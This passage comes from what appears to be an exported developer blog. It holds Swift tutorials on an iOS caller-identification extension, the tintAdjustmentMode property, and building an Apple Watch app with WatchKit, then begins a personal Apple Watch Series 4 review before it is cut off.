beginRequest in the Call Directory Extension will be called, please continue reading)The main iOS project code ends here!3. Start modifying the Call Directory Extension codeOpen the Call Directory Extension directory and find the file CallDirectoryHandler.swift that has been created for you.The only method that can be implemented is beginRequest for handling actions when processing phone data. The default examples are already set up for us, so there’s not much need to change them: addAllBlockingPhoneNumbers: Handles adding blacklist numbers (all at once) addOrRemoveIncrementalBlockingPhoneNumbers: Handles adding blacklist numbers (incrementally) addAllIdentificationPhoneNumbers: Handles adding caller identification numbers (all at once) addOrRemoveIncrementalIdentificationPhoneNumbers: Handles adding caller identification numbers (incrementally)We just need to complete the implementation of the above functions. The principles for blacklist functionality and caller identification are the same, so they won’t be introduced in detail here.private func fetchAll(context: CXCallDirectoryExtensionContext) { if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: \"Your App Group Identifier\") { let fileURL = dir.appendingPathComponent(\"phoneIdentity.json\") if let content = try? String(contentsOf: fileURL, encoding: .utf8), let text = content.data(using: .utf8), let numbers = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String, String> { numbers?.sorted(by: { (Int($0.key) ?? 0) < Int($1.key) ?? 0 }).forEach({ (obj) in if let number = CXCallDirectoryPhoneNumber(obj.key) { autoreleasepool { if context.isIncremental { context.removeIdentificationEntry(withPhoneNumber: number) } context.addIdentificationEntry(withNextSequentialPhoneNumber: number, label: obj.value) } } }) } }}private func addAllIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { // Retrieve phone numbers to identify and their identification labels from data store. For optimal performance and memory usage when there are many phone numbers, // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. // // Numbers must be provided in numerically ascending order. // let allPhoneNumbers: [CXCallDirectoryPhoneNumber] = [ 1_877_555_5555, 1_888_555_5555 ] // let labels = [ \"Telemarketer\", \"Local business\" ] // // for (phoneNumber, label) in zip(allPhoneNumbers, labels) { // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) // } fetchAll(context: context)}private func addOrRemoveIncrementalIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { // Retrieve any changes to the set of phone numbers to identify (and their identification labels) from data store. For optimal performance and memory usage when there are many phone numbers, // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. // let phoneNumbersToAdd: [CXCallDirectoryPhoneNumber] = [ 1_408_555_5678 ] // let labelsToAdd = [ \"New local business\" ] // // for (phoneNumber, label) in zip(phoneNumbersToAdd, labelsToAdd) { // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) // } // // let phoneNumbersToRemove: [CXCallDirectoryPhoneNumber] = [ 1_888_555_5555 ] // // for phoneNumber in phoneNumbersToRemove { // context.removeIdentificationEntry(withPhoneNumber: phoneNumber) // } //context.removeIdentificationEntry(withPhoneNumber: CXCallDirectoryPhoneNumber(\"886277283610\")!) //context.addIdentificationEntry(withNextSequentialPhoneNumber: CXCallDirectoryPhoneNumber(\"886277283610\")!, label: \"TEST\") fetchAll(context: context) // Record the most-recently loaded set of identification entries in data store for the next incremental load...}Because the data on my site is not too much and my local data structure is quite simple, it is not possible to do incremental updates; therefore, we will use the method of completely adding new data. If using the incremental method, you must delete the old data first (this step is very important, otherwise reloading the extension will fail!).Done!That’s it! The implementation is very simple!Tips: If the app keeps spinning when you open it in “Settings” > “Phone” > “Call Blocking & Identification” or if it cannot recognize numbers after opening, first check if the number is correct, if the local maintained .json data is correct, and if the extension reload was successful; or try rebooting. If you still can’t figure it out, you can select the Scheme Build of the call directory extension to see the error message. The most difficult part of this feature is not the programming aspect but guiding the user to manually set it up and turn it on. For specific methods and guidance, you can refer to Whoscall:WhoscallIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS tintAdjustmentMode Property", "url": "/posts/6012b7b4f612/", "categories": "ZRealm, Dev.", "tags": "uikit, swift, ios-app-development, autolayout, Attention to Detail", "date": "2019-02-07 00:10:43 +0800", "snippet": "iOS tintAdjustmentMode PropertyIssue with .tintColor setting failing when presenting UIAlertController on this page’s Image Assets (Render as template)Comparison Before and After FixNo lengthy expl...", "content": "iOS tintAdjustmentMode PropertyIssue with .tintColor setting failing when presenting UIAlertController on this page’s Image Assets (Render as template)Comparison Before and After FixNo lengthy explanations, let’s go straight to the comparison images.Left Before Fix/Right After FixYou can see that the ICON on the left loses its tintColor setting when UIAlertController is presented. Additionally, the color setting returns to normal once the presented window is closed.Issue FixFirst, let’s introduce the tintAdjustmentMode property. This property controls the display mode of tintColor and has three enumeration settings: .Automatic: The view’s tintAdjustmentMode is consistent with the enclosing parent view’s setting. .Normal: Default mode, displays the set tintColor normally. .Dimmed: Changes tintColor to a low saturation, dim color (basically gray!).The above issue is not a bug but a system mechanism: When presenting UIAlertController, it changes the tintAdjustmentMode of the Root ViewController’s view to Dimmed (so technically, the color setting doesn’t “fail”; it’s just that the tintAdjustmentMode mode changes).But sometimes we want the ICON color to remain consistent, so we just need to keep the tintAdjustmentMode setting consistent in the UIView’s tintColorDidChange event:extension UIButton { override func tintColorDidChange() { self.tintAdjustmentMode = .normal // Always keep normal }}extension exampleThe End!It’s not a big issue, and it’s fine if you don’t change it, but it can be an eyesore.Actually, every page that encounters presenting UIAlertController, action sheet, popover, etc., will change the view’s tintAdjustmentMode to gray, but I only noticed it on this page.After searching for a while, I found out it was related to this property. Setting it resolved my small confusion.If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Let's Build an Apple Watch App!", "url": "/posts/e85d77b05061/", "categories": "ZRealm, Dev.", "tags": "ios, watchos, apple-watch-apps, watchkit, ios-app-development", "date": "2019-02-06 00:23:30 +0800", "snippet": "Let’s Build an Apple Watch App! (Swift)Step-by-step development of an Apple Watch App from scratch with watchOS 5[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click H...", "content": "Let’s Build an Apple Watch App! (Swift)Step-by-step development of an Apple Watch App from scratch with watchOS 5[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click HereIntroduction:It’s been almost three months since my last Apple Watch Unboxing, and I finally found the opportunity to explore developing an Apple Watch App.Wedding App — The Largest Wedding Planning AppHere are my thoughts after using it for three months: e-sim (LTE) still hasn’t found a use case, so I haven’t applied for or used it yet. Frequently used features: unlocking Mac computers, checking notifications by raising the wrist, Apple Pay. Health reminders: After three months, I’ve started to slack off. I just glance at the notifications and don’t feel compelled to complete the rings. Third-party app support is still very poor. Watch faces can be changed according to mood, adding a sense of freshness. More detailed exercise records: For example, if I walk a bit further to buy dinner, the watch will automatically detect and ask if I want to record the exercise.Overall, after three months of use, it still feels like a little life assistant, helping you with trivial matters, just as I wrote in the original unboxing article.Third-party app support is still very poorBefore I actually developed an Apple Watch App, I was puzzled as to why the apps on Apple Watch were so basic, even just “usable,” including LINE (messages not synced and never updated), Messenger (just usable); until I actually developed an Apple Watch App and understood the developers’ difficulties…First, understand the positioning of Apple Watch Apps, simplify complexityThe positioning of the Apple Watch is “not to replace the iPhone, but to assist”. This is the direction of official introductions, official apps, and watchOS APIs; hence, third-party apps feel basic and have limited functionality (sorry, I was too greedy Orz).Take our app as an example, it has features like searching for vendors, viewing columns, discussion forums, online inquiries, etc.; online inquiries are valuable to bring to the Apple Watch because they require real-time and faster responses, which increases the chance of getting orders. Searching for vendors, viewing columns, and discussion forums are relatively complex features, and even if they can be done on the watch, it doesn’t make much sense (the screen can display too little information, and they don’t require real-time responses).The core concept is still “assistive,” so not every feature needs to be brought to the Apple Watch; after all, users rarely have only the watch without the phone, and in such cases, the user’s needs are only for important features (like viewing column articles, which is not important enough to need to be viewed immediately on the watch).Let’s get started! This is also my first time developing an Apple Watch App, the content of the article may not be in-depth enough, please give me your advice!! This article is only suitable for readers who have developed iOS Apps/UIKit basics This article uses: iOS ≥ 9, watchOS ≥ 5Create a new watchOS Target for the iOS project:File -> New -> Target -> watchOS -> WatchKit App*Apple Watch Apps cannot be installed independently, they must be attached to an iOS AppAfter creating it, the directory will look like this:You will find two Target items, both indispensable: WatchKit App: Responsible for storing resources and UI display/Interface.storyboard: Same as iOS, it contains the system default created view controller/Assets.xcassets: Same as iOS, stores the resources used/info.plist: Same as iOS, WatchKit App related settings WatchKit Extension: Responsible for program calls and logic processing (*.swift)/InterfaceController.swift: Default view controller program/ExtensionDelegate.swift: Similar to Swift’s AppDelegate, the entry point for Apple Watch App startup/NotificationController.swift: Used to handle push notifications on the Apple Watch App/Assets.xcassets: Not used here, I put everything in WatchKit App’s Assets.xcassets/info.plist: Same as iOS, WatchKit Extension related settings/PushNotificationPayload.apns: Push notification data, can be used to test push notification functionality on the simulatorDetails will be introduced later, for now, just get a general understanding of the directory and file content functions.View Controller:In Apple Watch, the view controller is not called ViewController but InterfaceController. You can find the Interface Controller Scene in WatchKit App/Interface.storyboard, and the program that controls it is in WatchKit Extension/InterfaceController.swift (same concept as iOS)The Scene is initially squeezed together with the Notification Controller Scene (I will pull it up a bit to separate them)You can set the title display text of the InterfaceController on the right.The title color part is set by Interface Builder Document/Global hint, the style color of the entire App will be unified.Component Library:There are not many complex components, and the functions of the components are simple and clear.UI Layout:A tall building starts from the View. The layout part does not have Auto Layout, constraints, or layers like in UIKit (iOS). All layout settings are done using parameters, which is simpler and more powerful (the layout is somewhat like UIStackView in UIKit). All layouts are composed of Groups, similar to UIStackView in UIKit but with more layout parametersGroup parameter settings: Layout: Set the layout method of the subviews contained within (horizontal, vertical, layered stacking) Insets: Set the margins of the Group (top, bottom, left, right) Spacing: Set the spacing between the subviews contained within Radius: Set the corner radius of the Group, that’s right! WatchKit comes with corner radius setting parameters Alignment/Horizontal: Set the horizontal alignment method (left, center, right) which will interact with the neighboring and outer wrapping views Alignment/Vertical: Set the vertical alignment method (top, center, bottom) which will interact with the neighboring and outer wrapping views Size/Width: Set the size of the Group, with three modes to choose from “Fixed: specify width”, “Size To Fit Content: determine width based on the size of the content subviews”, “Relative to Container: refer to the size of the outer wrapping view as the width (can set %/+- correction value)” Size/Height: Same as Size/Width, this item sets the heightFont/Font Size Settings:You can directly apply the system’s Text Styles or use Custom (but I found that using Custom couldn’t set the font size); so I used System to customize the font size for each display Label.Learning by Doing: Layout Example with LineThe layout is not as complicated as iOS, so I’ll demonstrate it directly through an example for you to get started quickly; using Line’s homepage layout as an example:In WatchKit App/Interface.storyboard, find the Interface Controller Scene: The entire page is equivalent to UITableView used in iOS App development. In Apple Watch App, the operation is simplified, and the name is changed to “WKInterfaceTable”. First, drag a Table to the Interface Controller Scene.Like UIKit UITableView, there is the Table itself and the Cell (called Row in Apple Watch); it is much simpler to use, you can directly design the layout of the Cell in this interface! Analyze the layout structure and design the Row display style:To create a layout with a rounded full-width Image on the left and a stacked Label, and two evenly divided blocks on the right, with a Label on the top and another Label on the bottom.2-1: Create the structure of the left and right blocksDrag two Groups into the Group and set the Size parameters respectively:Left green part:Layout setting Overlap, the sub-View inside needs to stack the unread message LabelSet a fixed square with a width and height of 40Right red part:Layout setting Vertical, the sub-View inside needs to display two items verticallyWidth setting refers to the outer layer, 100% ratio, minus the 40 of the left green partLayout inside the left and right containers:Left part: Drag in an Image, then drag in a Group containing a Label and align it to the bottom right (set the Group background color, spacing, and rounded corners)Right part: Drag in two Labels, one aligned to the top left and the other aligned to the bottom left.Naming the Row (same as setting the identifier for Cell in UIKit UITableView):Select Row -> Identifier -> Enter custom nameAre there multiple display styles for Rows?Very simple, just drag another Row into the Table (which Row style to display is controlled by the program) and enter the Identifier name.Here I drag another Row for displaying a no data prompt.Layout Related InformationWatchKit’s hidden does not occupy space, it can be used for interactive applications (display Table when logged in; display prompt Label when not logged in).The layout is now complete, you can modify it according to your design; it’s easy to get started, practice a few more times, and play with the alignment parameters to get familiar!Program Control Section:Continuing with Row, we need to create a Class to reference the Row:class ContactRow:NSObject {}class ContactRow:NSObject { var id:String? @IBOutlet var unReadGroup: WKInterfaceGroup! @IBOutlet var unReadLabel: WKInterfaceLabel! @IBOutlet weak var imageView: WKInterfaceImage! @IBOutlet weak var nameLabel: WKInterfaceLabel! @IBOutlet weak var timeLabel: WKInterfaceLabel!}Pull outlets, store variablesFor the Table part, also pull the Outlet to the Controller:class InterfaceController: WKInterfaceController { @IBOutlet weak var Table: WKInterfaceTable! override func awake(withContext context: Any?) { super.awake(withContext: context) // Configure interface objects here. } override func willActivate() { // This method is called when watch view controller is about to be visible to user super.willActivate() } struct ContactStruct { var name:String var image:String var time:String } func loadData() { //Get API Call Back... //postData { let data:[ContactStruct] = [] //api returned data... self.Table.setNumberOfRows(data.count, withRowType: \"ContactRow\") //If you have multiple ROWs to present, use: //self.Table.setRowTypes([\"ContactRow\",\"ContactRow2\",\"ContactRow3\"]) // for item in data.enumerated() { if let row = self.Table.rowController(at: item.offset) as? ContactRow { row.nameLabel.setText(item.element.name) //assign value to label/image...... } } //} } override func didDeactivate() { // This method is called when watch view controller is no longer visible super.didDeactivate() loadData() } //Handle Row selection: override func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) { guard let row = table.rowController(at: rowIndex) as? ContactRow,let id = row.id else { return } self.pushController(withName: \"showDetail\", context: id) }}The operation of the Table is greatly simplified without delegate/datasource. To set the data, just call setNumberOfRows/setRowTypes to specify the number and type of rows, then use rowController(at:) to set the data content for each row!The row selection event of the Table only requires overriding func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) to operate! (Table only has this event)How to navigate between pages?First, set the Identifier for the Interface ControllerwatchKit has two navigation modes: Similar to iOS UIKit pushself.pushController(withName: Interface Controller Identifier, context: Any?)Push method allows returning from the top leftReturn to the previous page same as iOS UIKit: self.pop()Return to the root page: self.popToRootController()Open a new page: self.presentController() Tab display modeWKInterfaceController.reloadRootControllers(withNames: [Interface Controller Identifier], contexts: [Any?])Or in the Storyboard, on the Interface Controller of the first page, Control+Click and drag to the second page and select “next page”Tab display mode allows switching pages left and rightThe two navigation methods cannot be mixed.Passing parameters between pages?Unlike iOS where you need to use custom delegates or segues to pass parameters, in watchKit, you can pass parameters by placing them in the contexts of the above methods.Receive parameters in the InterfaceController’s awake(withContext context: Any?)For example, if I want to navigate from page A to page B and pass an id: Int:Page A:self.pushController(withName: \"showDetail\", context: 100)Page B:override func awake(withContext context: Any?) { super.awake(withContext: context) guard let id = context as? Int else { print(\"Parameter error!\") self.popToRootController() return } // Configure interface objects here.}Programmatically controlling componentsCompared to iOS UIKit, it is greatly simplified. Those who have developed for iOS should get the hang of it quickly!For example, label becomes setText()p.s. And surprisingly, there is no getText method, you can only use extension variables or store it in external variablesSynchronization/data transfer between iPhone and Apple WatchIf you have developed iOS-related Extensions, you might instinctively use App Groups to share UserDefaults. I was excited to do this initially, but I got stuck for a long time and found that the data never transferred. After checking online, I found that since watchOS 2, this method is no longer supported…You need to use the new WatchConnectivity method to communicate between the phone and the watch (similar to the socket concept). Both the iOS phone and the watchOS watch need to implement it. We write it in a singleton pattern as follows:Mobile:import WatchConnectivityclass WatchSessionManager: NSObject, WCSessionDelegate { @available(iOS 9.3, *) func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { // Mobile session activation completed } func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { // Mobile received UserInfo from the watch } func session(_ session: WCSession, didReceiveMessage message: [String : Any], replyHandler: @escaping ([String : Any]) -> Void) { // Mobile received Message from the watch } // Additionally, didReceiveMessageData and didReceiveFile also handle data received from the watch // Decide which one to use based on your data transfer and reception needs func sendUserInfo() { guard let validSession = self.validSession, validSession.isReachable else { return } if userDefaultsTransfer?.isTransferring == true { userDefaultsTransfer?.cancel() } var list: [String: Any] = [:] // Add UserDefaults to the list... self.userDefaultsTransfer = validSession.transferUserInfo(list) } func sessionReachabilityDidChange(_ session: WCSession) { // Connection status with the watch app changes (when the watch app is opened/closed) sendUserInfo() // When the status changes, if the watch app is opened, sync UserDefaults once } func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { // Completed syncing UserDefaults (transferUserInfo) } func sessionDidBecomeInactive(_ session: WCSession) { } func sessionDidDeactivate(_ session: WCSession) { } static let sharedManager = WatchSessionManager() private override init() { super.init() } private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil private var validSession: WCSession? { if let session = session, session.isPaired && session.isWatchAppInstalled { return session } // Return a valid and connected session with the watch app opened return nil } func startSession() { session?.delegate = self session?.activate() }}WatchConnectivity Code for iPhoneAdd WatchSessionManager.sharedManager.startSession() in application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) of iOS/AppDelegate.swift to connect the session after launching the iPhone app.For Watch:import WatchConnectivityclass WatchSessionManager: NSObject, WCSessionDelegate { func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { } func sessionReachabilityDidChange(_ session: WCSession) { guard session.isReachable else { return } } func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { } func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { DispatchQueue.main.async { //UserDefaults: //print(userInfo) } } static let sharedManager = WatchSessionManager() private override init() { super.init() } private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil func startSession() { session?.delegate = self session?.activate() }}WatchConnectivity Code for WatchAdd WatchSessionManager.sharedManager.startSession() in applicationDidFinishLaunching() of WatchOS Extension/ExtensionDelegate.swift to connect the session after launching the Watch app.WatchConnectivity Data Transfer MethodsTo send data: sendMessage, sendMessageData, transferUserInfo, transferFileTo receive data: didReceiveMessageData, didReceive, didReceiveMessageThe methods for sending and receiving data are the same on both ends.You can see that data transfer from the watch to the phone works, but data transfer from the phone to the watch is limited to when the watch app is open.Handling Push Notifications in watchOSThe PushNotificationPayload.apns file in the project directory comes in handy for testing push notifications on the simulator. Deploy the Watch App target on the simulator, and after installation, launching the app will receive a push notification with the content of this file, making it easier for developers to test push notification functionality.To modify/enable/disable PushNotificationPayload.apns, select the Target and then Edit Scheme.watchOS Push Notification Handling:Similar to iOS where we implement UNUserNotificationCenterDelegate, in watchOS we also implement the same methods in watchOS Extension/ExtensionDelegate.swiftimport WatchKitimport UserNotificationsimport WatchConnectivityclass ExtensionDelegate: NSObject, WKExtensionDelegate, UNUserNotificationCenterDelegate { func applicationDidFinishLaunching() { WatchSessionManager.sharedManager.startSession() // WatchConnectivity connection mentioned earlier UNUserNotificationCenter.current().delegate = self // Set UNUserNotificationCenter delegate // Perform any final initialization of your application. } func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { completionHandler([.sound, .alert]) // Similar to iOS, this approach allows push notifications to be displayed even when the app is in the foreground } func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { // When the push notification is clicked guard let info = response.notification.request.content.userInfo[\"aps\"] as? NSDictionary, let alert = info[\"alert\"] as? Dictionary<String, String>, let data = info[\"data\"] as? Dictionary<String, String> else { completionHandler() return } // response.actionIdentifier can get the click event Identifier // Default click event: UNNotificationDefaultActionIdentifier if alert[\"type\"] == \"new_ask\" { WKExtension.shared().rootInterfaceController?.pushController(withName: \"showDetail\", context: 100) // Get the current root interface controller and push } else { // Other handling... // WKExtension.shared().rootInterfaceController?.presentController(withName: \"\", context: nil) } completionHandler() }}ExtensionDelegate.swiftwatchOS Push Notification Display, divided into three types: static: Default push notification display methodWorks with mobile push notifications, here the iOS side has implemented UNUserNotificationCenter.setNotificationCategories to add buttons below the notification; Apple Watch will also display them by default. dynamic: Dynamically handle push notification display styles (reorganize content, display images) interactive: Supported on watchOS ≥ 5, adds support buttons on top of dynamicYou can set the push notification handling method in the Static Notification Interface Controller Scene in Interface.storyboardThere’s not much to say about static, it just follows the default display method. Here we first introduce dynamic. After checking “Has Dynamic Interface,” a “Dynamic Interface” will appear where you can design your custom push notification presentation method (Buttons cannot be used):My custom push notification presentation designimport WatchKitimport Foundationimport UserNotificationsclass NotificationController: WKUserNotificationInterfaceController { @IBOutlet var imageView: WKInterfaceImage! @IBOutlet var titleLabel: WKInterfaceLabel! @IBOutlet var contentLabel: WKInterfaceLabel! override init() { // Initialize variables here. super.init() self.setTitle(\"結婚吧\") // Set the title at the top right // Configure interface objects here. } override func willActivate() { // This method is called when watch view controller is about to be visible to user super.willActivate() } override func didDeactivate() { // This method is called when watch view controller is no longer visible super.didDeactivate() } override func didReceive(_ notification: UNNotification) { if #available(watchOSApplicationExtension 5.0, *) { self.notificationActions = [] // Clear the buttons added below the notification by iOS implementation of UNUserNotificationCenter.setNotificationCategories } guard let info = notification.request.content.userInfo[\"aps\"] as? NSDictionary, let alert = info[\"alert\"] as? Dictionary<String, String> else { return } // Push notification information self.titleLabel.setText(alert[\"title\"]) self.contentLabel.setText(alert[\"body\"]) if #available(watchOSApplicationExtension 5.0, *) { if alert[\"type\"] == \"new_msg\" { // If it is a new message push notification, add a reply button below the notification self.notificationActions = [UNNotificationAction(identifier: \"replyAction\", title: \"Reply\", options: [.foreground])] } else { // Otherwise, add a view button self.notificationActions = [UNNotificationAction(identifier: \"openAction\", title: \"View\", options: [.foreground])] } } // This method is called when a notification needs to be presented. // Implement it if you use a dynamic notification interface. // Populate your dynamic notification interface as quickly as possible. }}The program part, similarly, drag the outlet to the controller and implement the functionality.Next, let’s talk about interactive, which is the same as dynamic, but you can add more buttons and control the program with the same class as dynamic; I didn’t use interactive because I added my buttons using self.notificationActions, the difference is as follows:Left uses interactive, right uses self.notificationActionsBoth methods require watchOS ≥ 5 support.Using self.notificationActions to add buttons, the button events are handled by userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) in ExtensionDelegate, and actions are identified by identifier.Menu Functionality?Drag Menu from the component library, then drag Menu Item, and then drag IBAction to the program controlIt will appear when you press hard on the page:Content Input?Use the built-in presentTextInputController method!@IBAction func replyBtnClick() { guard let target = target else { return } self.presentTextInputController(withSuggestions: [\"I'll reply later\", \"Thank you\", \"Feel free to contact me\", \"Okay\", \"OK!\"], allowedInputMode: WKTextInputMode.plain) { (results) in guard let results = results else { return } // When there is input let txts = results.filter({ (txt) -> Bool in if let txt = txt as? String, txt != \"\" { return true } else { return false } }).map({ (txt) -> String in return txt as? String ?? \"\" }) // Preprocess input txts.forEach({ (txt) in print(txt) }) }}Summary Thank you for reading this! You’ve worked hard!This concludes the article. It briefly mentioned UI layout, programming, push notifications, and interface applications. For those who have developed iOS, getting started is really quick, almost the same, and many methods have been simplified to make it more concise, but the things you can do have indeed decreased (like currently not knowing how to load more for Table); currently, there are very few things you can do, and I hope the official will open more APIs for developers to use in the future ❤️❤️❤️MurMur:Deploying Apple Watch App Target to the watch is really slow — NarcosIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery", "url": "/posts/a2920e33e73e/", "categories": "ZRealm, Life.", "tags": "apple-watch, watchos, apple-watch-apps, life, unboxing", "date": "2018-11-26 22:18:41 +0800", "snippet": "Apple Watch Series 4 Unboxing: Comprehensive Review from Unboxing to Mastery (Updated 2020–10–24)Why buy it? Is it useful? What’s good about it? How to use it? & WatchOS APP recommendations[Lat...", "content": "Apple Watch Series 4 Unboxing: Comprehensive Review from Unboxing to Mastery (Updated 2020–10–24)Why buy it? Is it useful? What’s good about it? How to use it? & WatchOS APP recommendations[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience Review >>>Click HereFrom the Beginning…Personal BackgroundFirst, let me share my background with Apple products. I am not a die-hard Apple fan; my first encounter was in 2015 when I bought an iPhone 6 with my part-time job salary. Due to work needs, I started using a MacOS computer (Mac Mini) last year and bought my own MacBook Pro this year, and switched to an iPhone 8. The reasons I stepped into the Apple ecosystem are nothing more than: Work needs (developing iOS APPs requires MacOS equipment) Work efficiency (better stability, program switching, and operation experience, coupled with the ecosystem’s interaction and data synchronization between iPhone and MacOS, simplify many tasks) Battery life, portability, Retina display[Updated 2019–05–02]: Another addition to the Apple family, AirPods 2 (Unboxing and Hands-on Experience Click Here)Why Buy an Apple Watch? Record exercise and heart rate Don’t want to carry a phone while running Reduce phone usage time but don’t want to miss important information Avoid taking out the phone/use Apple Pay when carrying bags Automatically unlock MacBook when nearby (my MacBook Pro is a non-Touch Bar version, entering the password is tiring) Navigation while cycling Trendy! Never used it, want to try it out Want to write WatchOS APPsStarting the Selection…Considering the above factors, I began to choose a suitable Apple Watch; excluding the strap material, there are three versions of the body to choose from: Aluminum case + possibly scratchable glass surface + GPS = $12,900 (40mm) / $13,900 (44mm) Aluminum case + possibly scratchable glass surface + GPS + Cellular = $16,500 (40mm) / $17,500 (44mm) Stainless steel case + sapphire crystal glass + GPS + Cellular = $22,900 (40mm) / $24,900 (44mm)I personally bought 2. Aluminum case + possibly scratchable glass surface + GPS + Cellular 44 mmAbout the Watch Face:SizeThere are two sizes, 40mm and 44mm. Choose based on your wrist size; too large may not fit well, and heart rate detection may be inaccurate; too small may look odd.Left 44mm/Right 40mm (Thanks to a colleague for the support)If you can’t find something to compare, you can use a disposable contact lens case, approximately 44mm (actual measurement 44.5mm)Here is a picture of my wrist for reference. If you are still unsure about the size, it’s best to visit a store and try it on (I initially aimed for 40mm, but found it too small after trying it on).*Apple Watch 3 38mm and Apple Watch 4 40mm have the same size and interchangeable straps*Apple Watch 3 42mm and Apple Watch 4 44mm have the same size and interchangeable strapsCase MaterialThere are two options: aluminum case + possibly scratchable glass surface and stainless steel case + sapphire crystal glass. If budget allows, the latter is recommended; due to budget constraints, I chose the former. Why choose the stainless steel case + sapphire crystal glass version? Although the body is heavier (you might feel it during exercise), it is easier to match with outfits in daily life. A leather or metal strap paired with a stainless steel body can complement business attire for a more consistent aesthetic. Switching to a sports strap for casual or athletic activities maintains elegance and versatility! The sapphire crystal glass is extremely hard, so you don’t have to worry about scratches on the watch face. (Personal experience: My previous iPhone 6 was used without a case for over a year. I didn’t particularly protect it, just kept it in my pocket or on the table, and the screen got scratched up. However, the camera lens, which uses sapphire crystal glass, remained pristine.) But I bought the regular version… If you search online for articles about Apple Watch screen protectors, you’ll find two camps: one supports using a screen protector to prevent scratches, and the other opposes it, arguing that it’s a matter of usage habits and that the watch isn’t so fragile. Do you see Rolex watches with screen protectors?Or, if you’re a laid-back user who just wants to use the watch as a consumable product, you won’t have this concern.Personally, I have a bit of OCD and would be annoyed by scratches, so I support using a screen protector. Usage habits? I think only bumping into things is a bad habit; daily dust damage is hard to prevent.If you also want to use a screen protector, here’s a suggestion: “Spend a bit more money to have someone apply it for you.” I usually apply screen protectors to my phone myself, so why do I recommend having someone else apply it for the Apple Watch?This part was very frustrating for me. First, I bought a tempered glass protector from Tokyo* on Pchome ($399). It was a hard film with adhesive only on the edges, leaving a hollow space in the middle, making touch sensitivity very poor (seriously, did the manufacturer not test this?). So I removed it shortly after applying it.The second attempt was with a g*r soft film ($100 for two pieces), which had full adhesive and adhered well, but it was difficult to apply without bubbles. I tried both pieces, but there were still some bubbles that were very noticeable, and it wasn’t oleophobic or hydrophobic, making it uncomfortable to use.Finally, I spent $990 to have someone apply an h*a jelly adhesive glass protector (x豪包膜). It adhered well, had no bubbles, covered the entire screen, and was oleophobic and hydrophobic.If you still want to try applying a screen protector yourself, look for a hydrogel film.The feel after applying the screen protector is not as good as the original (personally, I rate it about 97 out of 100), and the screen will be slightly raised. It’s a personal choice! The stainless steel case is more resistant to bumps and scratches and can be polished again. My colleague’s stainless steel version is still in perfect condition with no scratches. I don’t care much about the case, but friends who do might consider using a case (?)Stainless steel version (thanks to my colleague for the support)So, if your budget allows, I still recommend upgrading to the stainless steel version.About choosing a protective case:Screen protectors are prone to chipping at the edges. Without a protective case, my screen protectors usually get damaged within a month, costing $990 each time. I’ve replaced three so far, which is frustrating. Since using a protective case, it’s been four months, and the screen protector is still intact! I recommend “at least using a bumper case,” any brand will do. My painful lesson is that I wish I had known about protective cases earlier. It would have saved me a lot of money!Should you buy the cellular version?I’m on the fence about this. I personally bought the cellular version so I wouldn’t need to carry my phone while running. Considering I plan to use it for 2-3 years and don’t know what the future holds, I decided to upgrade. However, if your budget is limited and you don’t go out without your phone, you can just buy the WiFi version (price difference is $3600).Consider the following points: Currently, Spotify does not support offline playback, so you still need to carry your phone to listen to music while exercising (as of 2018/11/21).p.s. Apple Music/KKBOX supports offline playback, so this isn’t an issue. There aren’t many Apple Watch apps, and the main functions are making calls, replying to messages, replying to Line, replying to Facebook Messenger, and using Apple Pay.*Apple Pay can be used offline without the cellular version. Using cellular requires an additional subscription and a monthly fee of $199 (Chunghwa Telecom/~2018/12/31 promotional price of $149), and the data usage is deducted from your phone’s plan. The cellular function works by transmitting data from the watch to the phone via the telecom network, and then the phone sends it out. Therefore, your phone must be turned on for the watch to work.*So if your phone is dead or turned off, the watch won’t work, even if you have the cellular version.[2020–10–24 Update]: Spotify now supports standalone playback. In the Spotify app on the watch, select the playback device -> Apple Watch -> connect Bluetooth headphones -> you can play music! (Still does not support offline download playback, so it requires an internet connection).PurchaseLast week (2018/11/11), I went to 101 but couldn’t find the model I wanted, so I ordered online from China. I placed the order on 11/11, it shipped on 11/12, and it arrived on 11/15 as scheduled:UnboxingWhen I received it, I was so excited that I opened it right away without recording the process. You can refer to the unboxing videos online: Apple Watch Series 4 Experience Full-Screen Watch, Is It You? ? (Mainland China) 、 Apple Watch Series 4 Complete Unboxing! Three Features Are Super Impressive 感 